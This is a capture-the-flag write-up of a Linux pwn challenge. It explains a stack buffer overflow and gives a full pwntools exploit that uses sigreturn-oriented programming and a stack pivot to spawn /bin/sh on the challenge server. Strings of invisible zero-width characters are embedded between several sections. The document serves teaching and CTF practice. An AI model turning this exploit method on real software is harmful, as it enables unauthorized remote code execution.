← Back to Writeups
CUSTOMMediumpwn

Древний замок мага (Ancient Magician Castle)

XESXOR9/2/20263 min read
#pwn#custom#medium#rax_control_via_read#srop#stack_pivot#linux

Древний замок мага (Ancient Magician Castle)

Platform: duckerz | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-21 | Status: Solved Techniques: rax_control_via_read, srop, stack_pivot

Summary

Task: Binary with buffer overflow, NX enabled, no useful ROP gadgets. Solution: SROP (Sigreturn Oriented Programming) with stack pivot to control all registers and execute execve("/bin/sh").

Древний замок мага — Duckerz CTF

Description

Вы — искатель приключений, который наткнулся на заброшенный замок древнего мага. В его башне хранится легендарный артефакт — Кристалл Вечности. Но замок защищён магическими барьерами и ловушками. Ваша задача — преодолеть их и забрать кристалл.

Server: nc tasks.duckerz.ru 30031

Analysis

Binary Protections

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Functions

  1. create_buffer() - creates a buffer via posix_memalign and prints its address (leak)
  2. fill_buffer() - reads data into the buffer via syscall read
  3. buffer_overflow() - contains vulnerability: read(0, rbp-8, 0x400) - reads 1024 bytes into an 8-byte buffer

Vulnerability

Classic buffer overflow in buffer_overflow():

  • Buffer: 8 bytes
  • Read: 0x400 (1024) bytes
  • Can overwrite saved RBP and return address

Problem

  • NX enabled - cannot execute shellcode on stack or heap
  • No useful ROP gadgets - missing pop rdi, pop rsi, pop rdx
  • No system() or win() function ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution: SROP (Sigreturn Oriented Programming)

SROP allows setting ALL registers via sigreturn syscall (number 15).

Attack Plan

  1. Get buffer address - program prints it at startup

  2. Write payload to buf:

    • Fake RBP for stack pivot
    • Address of buffer_overflow part (0x401274) to call read
    • Syscall address (0x401244)
    • SigreturnFrame for execve("/bin/sh", 0, 0)
    • String "/bin/sh"
  3. Stack Pivot:

    • Overflow: [8 bytes padding][buf address][leave;ret gadget]
    • leave; ret switches stack to buf ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍
  4. RAX Control:

    • read() is called from buffer_overflow
    • Send exactly 15 bytes
    • RAX = 15 (sigreturn syscall number)
  5. Sigreturn:

    • syscall with RAX=15 executes sigreturn
    • SigreturnFrame sets: RAX=59, RDI=&"/bin/sh", RSI=0, RDX=0, RIP=syscall
    • Executes execve("/bin/sh", 0, 0)

Important Addresses

LEAVE_RET = 0x40128b
SYSCALL = 0x401244
BUFFER_OVERFLOW_READ = 0x401274

Exploit

python
#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

HOST = 'tasks.duckerz.ru'
PORT = 30031
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

LEAVE_RET = 0x40128b
SYSCALL = 0x401244
BUFFER_OVERFLOW_READ = 0x401274

io = remote(HOST, PORT)

# Get buffer address (leak)
io.recvuntil(b' -> ')
buf_addr = int(io.recvline().strip(), 16)
log.info(f"Buffer address: {hex(buf_addr)}")

# Build sigreturn frame
frame = SigreturnFrame()
frame.rax = 59  # execve syscall number
frame.rdi = buf_addr + 0x200  # pointer to "/bin/sh"
frame.rsi = 0
frame.rdx = 0
frame.rip = SYSCALL
frame.rsp = buf_addr + 0x300  # new stack pointer

# Payload in buf
io.recvuntil(b'-> ')
payload = p64(buf_addr + 0x18)  # fake rbp for stack pivot
payload += p64(BUFFER_OVERFLOW_READ)  # call read to control RAX
payload += p64(0xdeadbeef)  # placeholder
payload += p64(0xcafebabe)  # fake rbp 2
payload += p64(SYSCALL)  # sigreturn syscall
payload += bytes(frame)
payload = payload.ljust(0x200, b'\x00')
payload += b'/bin/sh\x00'
io.send(payload)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Overflow with stack pivot
io.recvuntil(b'-> ')
overflow = b'A' * 8 + p64(buf_addr) + p64(LEAVE_RET)
io.send(overflow)

# Send exactly 15 bytes to set RAX = 15 (sigreturn)
sleep(0.5)
io.send(b'A' * 15)

# Shell!
log.success("Got shell!")
io.interactive()

How SROP Works

  1. Sigreturn - system call for restoring context after signal handling
  2. When sigreturn is called, the kernel reads SigreturnFrame from the stack
  3. Frame contains values of ALL registers
  4. Kernel restores registers from frame and continues execution ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SigreturnFrame Structure (simplified)

+0x00: uc_flags
+0x08: uc_link
+0x10: ss_sp (stack)
+0x28: r8-r15
+0x48: rdi, rsi, rbp, rbx
+0x68: rdx, rax, rcx, rsp
+0x88: rip, eflags
+0x98: cs, gs, fs, ss

References